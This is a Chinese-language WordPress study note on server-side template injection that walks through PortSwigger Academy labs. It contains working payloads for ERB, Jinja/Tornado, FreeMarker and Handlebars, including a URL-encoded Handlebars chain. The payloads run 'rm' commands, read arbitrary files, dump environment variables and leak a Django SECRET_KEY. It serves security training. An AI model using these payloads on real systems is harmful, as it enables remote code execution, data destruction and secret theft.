{"id":1215,"date":"2023-02-10T11:15:00","date_gmt":"2023-02-10T03:15:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1215"},"modified":"2024-04-14T11:23:30","modified_gmt":"2024-04-14T03:23:30","slug":"ssti","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1215","title":{"rendered":"SSTI"},"content":{"rendered":"\n<p>Server-side template injection\uff08\u4f3a\u670d\u5668\u7aef\u6a21\u677f\u6ce8\u5165\uff09\uff0c\u653b\u64ca\u8005\u80fd\u5920\u4f7f\u7528\u672c\u6a5f\u6a21\u677f\u8a9e\u6cd5\u5c07\u60e1\u610f\u8ca0\u8f09\u6ce8\u5165\u5230\u6a21\u677f\u4e2d\uff0c\u7136\u5f8c\u5728\u4f3a\u670d\u5668\u7aef\u57f7\u884c\u3002\u5e38\u898b\u7684\u6a21\u677f\u5f15\u64ca\u5982\u4e0b<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PHP: Smarty, Twig, Blade<\/li>\n\n\n\n<li>JAVA: JSP, FreeMarker, Velocity<\/li>\n\n\n\n<li>Python: Jinja2, django, tornado<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5c0d\u76ee\u6a19\u7db2\u7ad9fuzz\u6e2c\u8a66\uff0c\u53ef\u7528\u6ce8\u5165\u6a21\u677f\u8868\u9054\u5f0f\u4e2d\u5e38\u7528\u7684\u7279\u6b8a\u5b57\u5143\u5e8f\u5217\uff0c\u4f8b\u5982<code>${{&lt;%[%'\"}}%\\<\/code>\u3002\u5982\u679c\u5f15\u767c\u7570\u5e38\uff0c\u5247\u8868\u793a\u4f3a\u670d\u5668\u53ef\u80fd\u4ee5\u67d0\u7a2e\u65b9\u5f0f\u89e3\u91cb\u6ce8\u5165\u7684\u6a21\u677f\u8a9e\u6cd5\u3002\u9019\u662fSSTI\u6f0f\u6d1e\u53ef\u80fd\u5b58\u5728\u7684\u4e00\u500b\u8de1\u8c61\uff0c\u63a5\u8457\u53ef\u4ee5\u5229\u7528\u7c21\u55ae\u7684\u7b97\u8853\u4f86\u6e2c\u8a66\u6f0f\u6d1e\uff0c\u50cf\u662f<code>{{7*'7'}}<\/code>\u6216<code>&lt;%= 7*7 %><\/code>\u7b49\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee5GET\u70ba\u4f8b<\/h3>\n\n\n\n<p>\u8209\u4f8b\u4f86\u8aaa\uff0c\u5c0d\u76ee\u6a19\u7db2\u7ad9fuzz\u6e2c\u8a66\u5f8c\u767c\u73fe\u53ef\u80fd\u5b58\u5728\u98a8\u96aa\uff0c\u7528<code>&lt;%= 7*7 %><\/code>\u6e2c\u8a66\u662f\u5426\u6709\u6f0f\u6d1e\uff0c\u767c\u73fe\u4ee5\u4e0b\u8fd4\u56de\u7d50\u679c\u70ba 49\uff0c\u78ba\u8a8d\u5b58\u5728\u6a21\u7248\u6ce8\u5165\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;your-lab-id.web-security-academy.net\/?message=&lt;%25%3d+7*7+%25&gt;<\/code><\/pre>\n\n\n\n<p>\u70ba\u4e86\u900f\u904e\u6f0f\u6d1e\u57f7\u884c\u522a\u9664\u6307\u4ee4<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u5c07\u8acb\u6c42\u6539\u70ba\u5982\u4e0b\uff0c\u9001\u51fa\u5f8c\u6a21\u7248\u5f15\u64ca\u5c31\u6703\u57f7\u884c\u4ee5\u4e0b\u6307\u4ee4\u57f7\u884c\u522a\u9664\u8a9e\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:\/\/your-lab-id.web-security-academy.net\/?message=&lt;%25+system(\"rm+\/home\/carlos\/morale.txt\")+%25&gt;<\/code><\/pre>\n\n\n\n<p>Lab: Basic server-side template injection<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee5POST\u70ba\u4f8b<\/h3>\n\n\n\n<p>\u53e6\u4e00\u500b\u4f8b\u5b50\uff0c\u5c0d\u76ee\u6a19\u7db2\u7ad9fuzz\u6e2c\u8a66\u5f8c\u767c\u73fe\u53ef\u80fd\u5b58\u5728\u98a8\u96aa\uff0c\u4f7f\u7528<code>}}{{7*7}}<\/code>\u6e2c\u8a66\u662f\u5426\u6709\u6f0f\u6d1e\uff0c\u767c\u73fe\u4ee5\u4e0b\u8fd4\u56de\u7d50\u679c\u51fa\u73fe 49\uff0c\u78ba\u8a8d\u5b58\u5728\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/change-blog-post-author-display HTTP\/1.1\n...omit...\nblog-post-author-display=user.name}}{{7*7}}&amp;csrf=...omit<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u900f\u904e\u6f0f\u6d1e\u57f7\u884c<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u56e0\u8a72\u6a21\u7248\u8a9e\u6cd5\u70bapython\uff0c\u6240\u4ee5\u8981\u6539\u70ba<code>{% import os %} {{os.system('rm \/home\/carlos\/morale.txt')<\/code>\uff0c\u653e\u5165\u8acb\u6c42\u4e2d\u9001\u51fa\u5982\u4e0b <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/change-blog-post-author-display HTTP\/1.1\n...omit...\nblog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20\/home\/carlos\/morale.txt')&amp;csrf=...omit<\/code><\/pre>\n\n\n\n<p>\u4e4b\u5f8c\u5728\u91cd\u65b0\u8f09\u5165\u8a55\u8ad6\u9801\u9762\u5373\u53ef\u57f7\u884c\u522a\u9664\u6307\u4ee4<\/p>\n\n\n\n<p>Lab: Basic server-side template injection (code context)<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528\u6a21\u7248\u6709\u98a8\u96aa\u7684\u529f\u80fd<\/h2>\n\n\n\n<p>\u7279\u5b9a\u7684\u5167\u5efa\u7269\u4ef6\u6216\u51fd\u6578\u53ef\u80fd\u5e36\u4f86\u5b89\u5168\u98a8\u96aa\uff0c\u6587\u4ef6\u4e5f\u6703\u591a\u6b21\u63d0\u51fa\u4e00\u4e9b\u5b89\u5168\u8b66\u544a<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u5728ERB\u4e2d\uff0c\u6587\u4ef6\u986f\u793a\u60a8\u53ef\u4ee5\u5217\u51fa\u6240\u6709\u76ee\u9304\uff0c\u7136\u5f8c\u8b80\u53d6\u4efb\u610f\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;%= Dir.entries('\/') %&gt;\n&lt;%= File.open('\/example\/arbitrary-file').read %&gt;<\/code><\/pre>\n\n\n\n<p>\u5728Freemarker\u4e2d\uff0c\u4ee5\u4e0b\u53ef\u57f7\u884c\u7cfb\u7d71\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>&lt;#assign ex=\"freemarker.template.utility.Execute\"?new()&gt; ${ ex(\"id\") }<\/code><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee5freemarker\u653b\u64ca\u70ba\u4f8b<\/h3>\n\n\n\n<p>\u8209\u4f8b\u67d0\u7db2\u7ad9\u7684\u7de8\u8f2f\u7522\u54c1\u9801\u53ef\u770b\u5230\u6a21\u7248\u8a9e\u6cd5\u683c\u5f0f\u70ba${someExpression}\uff0c\u4f7f\u7528&lt;h1&gt; ${2*2} &lt;\/h1&gt;\u6e2c\u8a66\uff0c\u4fdd\u5b58\u5f8c\u770b\u5230\u8fd4\u56de\u7d50\u679c\u70ba4\uff0c\u78ba\u8a8d\u6709\u6f0f\u6d1e\u3002\u4f7f\u7528\u4e0d\u5b58\u5728\u7684\u5c0d\u8c61${foobar}\u505a\u6e2c\u8a66\uff0c\u4fdd\u5b58\u6a21\u7248\u770b\u5230\u932f\u8aa4\u8a0a\u606f\u78ba\u8a8d\u70bafreemarker\u6a21\u7248\u5f15\u64ca\u3002<\/p>\n\n\n\n<p>\u5229\u7528freemarker\u6a21\u7248\u5f15\u64ca\u7684\u9ad8\u98a8\u96aa\u529f\u80fd\uff0c\u57f7\u884c<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u5982\u4e0b\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;#assign ex=\"freemarker.template.utility.Execute\"?new()&gt; ${ ex(\"rm \/home\/carlos\/morale.txt\") }<\/code><\/pre>\n\n\n\n<p>\u7de8\u8f2f\u7522\u54c1\u5c07\u4ee5\u4e0a\u8a9e\u6cd5\u63d2\u5165\u4e26\u4fdd\u5b58\uff0c\u67e5\u770b\u7522\u54c1\u9801\u5373\u53ef\u89f8\u767c\u653b\u64ca\u6307\u4ee4<\/p>\n\n\n\n<p>Lab: Server-side template injection using documentation<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f7f\u7528\u5df1\u77e5\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u4e00\u65e6\u80fd\u5920\u8b58\u5225\u6b63\u5728\u4f7f\u7528\u7684\u6a21\u677f\u5f15\u64ce\uff0c\u53ef\u4ee5\u700f\u89bd\u7db2\u8def\u67e5\u627e\u5df2\u77e5\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u8209\u4f8b\u4f86\u8aaa\uff0c\u5047\u5982\u4e0d\u77e5\u9053\u7db2\u7ad9\u4f7f\u7528\u4f55\u7a2e\u6a21\u7248\u5f15\u64ca\uff0c\u53ef\u4ee5\u5148\u5c0d\u7db2\u7ad9\u7684\u4e00\u4e9b\u53c3\u6578\u505a\u6a21\u677f\u8a9e\u8a00\u76f8\u95dc\u7684fuzz\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/?message=${{&lt;%&#91;%%27\"}}%\\  HTTP\/1.1<\/code><\/pre>\n\n\n\n<p>\u5728\u8fd4\u56de\u932f\u8aa4\u8a0a\u606f\u4e2d\uff0c\u767c\u73fewebsite\u4f7f\u7528Handlebars\u6a21\u7248\u5f15\u64ca\uff0c\u641c\u5c0b\u76f8\u95dc\u653b\u64ca\u624b\u6cd5\u53ef\u767c\u73fe@Zombiehelp54\u7684\u4e00\u7bc7\u6587\u7ae0\u3002<\/p>\n\n\n\n<p>\u6839\u64da\u6587\u7ae0\u7684\u6307\u793a\u53ef\u4ee5\u77e5\u9053\u5982\u4f55\u5229\u7528\u6f0f\u6d1e\uff0c\u5047\u5982\u60f3\u522a\u9664\u6a94\u6848<code>\/home\/carlos\/morale.txt<\/code>\uff0c\u53ef\u4fee\u6539exploit\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>wrtz{{#with \"s\" as |string|}}\n  {{#with \"e\"}}\n    {{#with split as |conslist|}}\n      {{this.pop}}\n      {{this.push (lookup string.sub \"constructor\")}}\n      {{this.pop}}\n      {{#with string.split as |codelist|}}\n        {{this.pop}}\n        {{this.push \"return require('child_process').exec('<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">rm \/home\/carlos\/morale.txt<\/mark>');\"}}\n        {{this.pop}}\n        {{#each conslist}}\n          {{#with (string.sub.apply 0 codelist)}}\n            {{this}}\n          {{\/with}}\n        {{\/each}}\n      {{\/with}}\n    {{\/with}}\n  {{\/with}}\n{{\/with}}<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u5728\u628a\u4e0a\u8ff0\u5167\u5bb9\u900f\u904eurlencode\u7de8\u78bc\u5728\u9001\u51fa\u8acb\u6c42\u5373\u53ef\u6210\u529f\u89f8\u767c\u653b\u64ca\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;your-lab-id.web-security-academy.net\/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d<\/code><\/pre>\n\n\n\n<p>Lab: Server-side template injection in an unknown language with a documented exploit<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f7f\u7528\u654f\u611f\u4fe1\u606f<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p>\u8a31\u591a\u6a21\u677f\u5f15\u64ce\u516c\u958b\u53ef\u652f\u63f4\u7684\u6240\u6709\u5c0d\u8c61\u3001\u65b9\u6cd5\u548c\u5c6c\u6027\u7684\u540d\u7a31\u7a7a\u9593\u7b49\uff0c\u9019\u4e9b\u53ef\u505a\u70ba\u653b\u64ca\u7684\u60c5\u5831\uff0c\u4f8b\u5982<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u57fa\u65bc Java \u7684\u7bc4\u672c\u8a9e\u8a00\u4e2d\uff0c\u6709\u6642\u53ef\u4ee5\u7528<code>${T(java.lang.System).getenv()}<\/code>\u4f86\u5217\u51fa\u74b0\u5883\u4e2d\u7684\u6240\u6709\u8b8a\u6578<\/li>\n\n\n\n<li>Django\u4e2d\uff0c\u53ef\u4ee5\u7528<code>{% debug %}<\/code>\u986f\u793a\u8abf\u8a66\u8cc7\u8a0a<\/li>\n<\/ul>\n\n\n\n<p>\u8209\u4f8b\u4f86\u8aaa\uff0c\u76ee\u6a19\u7db2\u7ad9\u5728\u4f7f\u7528\u6a21\u7cca\u5b57\u4e32<code>${{&lt;%[%'\"}}%\\<\/code>\u5132\u5b58\u4e26\u6e2c\u8a66\u5f8c\uff0c\u767c\u73fe\u8f38\u51fa\u4e2d\u7684\u932f\u8aa4\u8a0a\u606f\u63d0\u793a\u6b63\u5728\u4f7f\u7528 Django \u6846\u67b6\uff0c\u5c31\u53ef\u7528Django\u6587\u6a94\u63d0\u5230\u7684<code>{% debug %}<\/code>\u53d6\u5f97\u5927\u91cf\u8abf\u8a66\u4fe1\u606f\u3002<\/p>\n\n\n\n<p>\u5206\u6790\u8abf\u8a66\u4fe1\u606f\u767c\u73fesettings\u00a0\u9019\u500b\u7269\u4ef6\uff0c\u7d93\u6587\u6a94\u8abf\u67e5\u767c\u73fe\u5305\u542bSECRET_KEY\u5c6c\u6027\uff0c\u56e0\u6b64\u4f7f\u7528<code>{{settings.SECRET_KEY}}<\/code>\u8a9e\u6cd5\uff0c\u5132\u5b58\u5f8c\u5c31\u53ef\u53d6\u5f97\u91d1\u9470\u5167\u5bb9<\/p>\n\n\n\n<p>lab: Server-side template injection with information disclosure via user-supplied objects<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Server-side template injection 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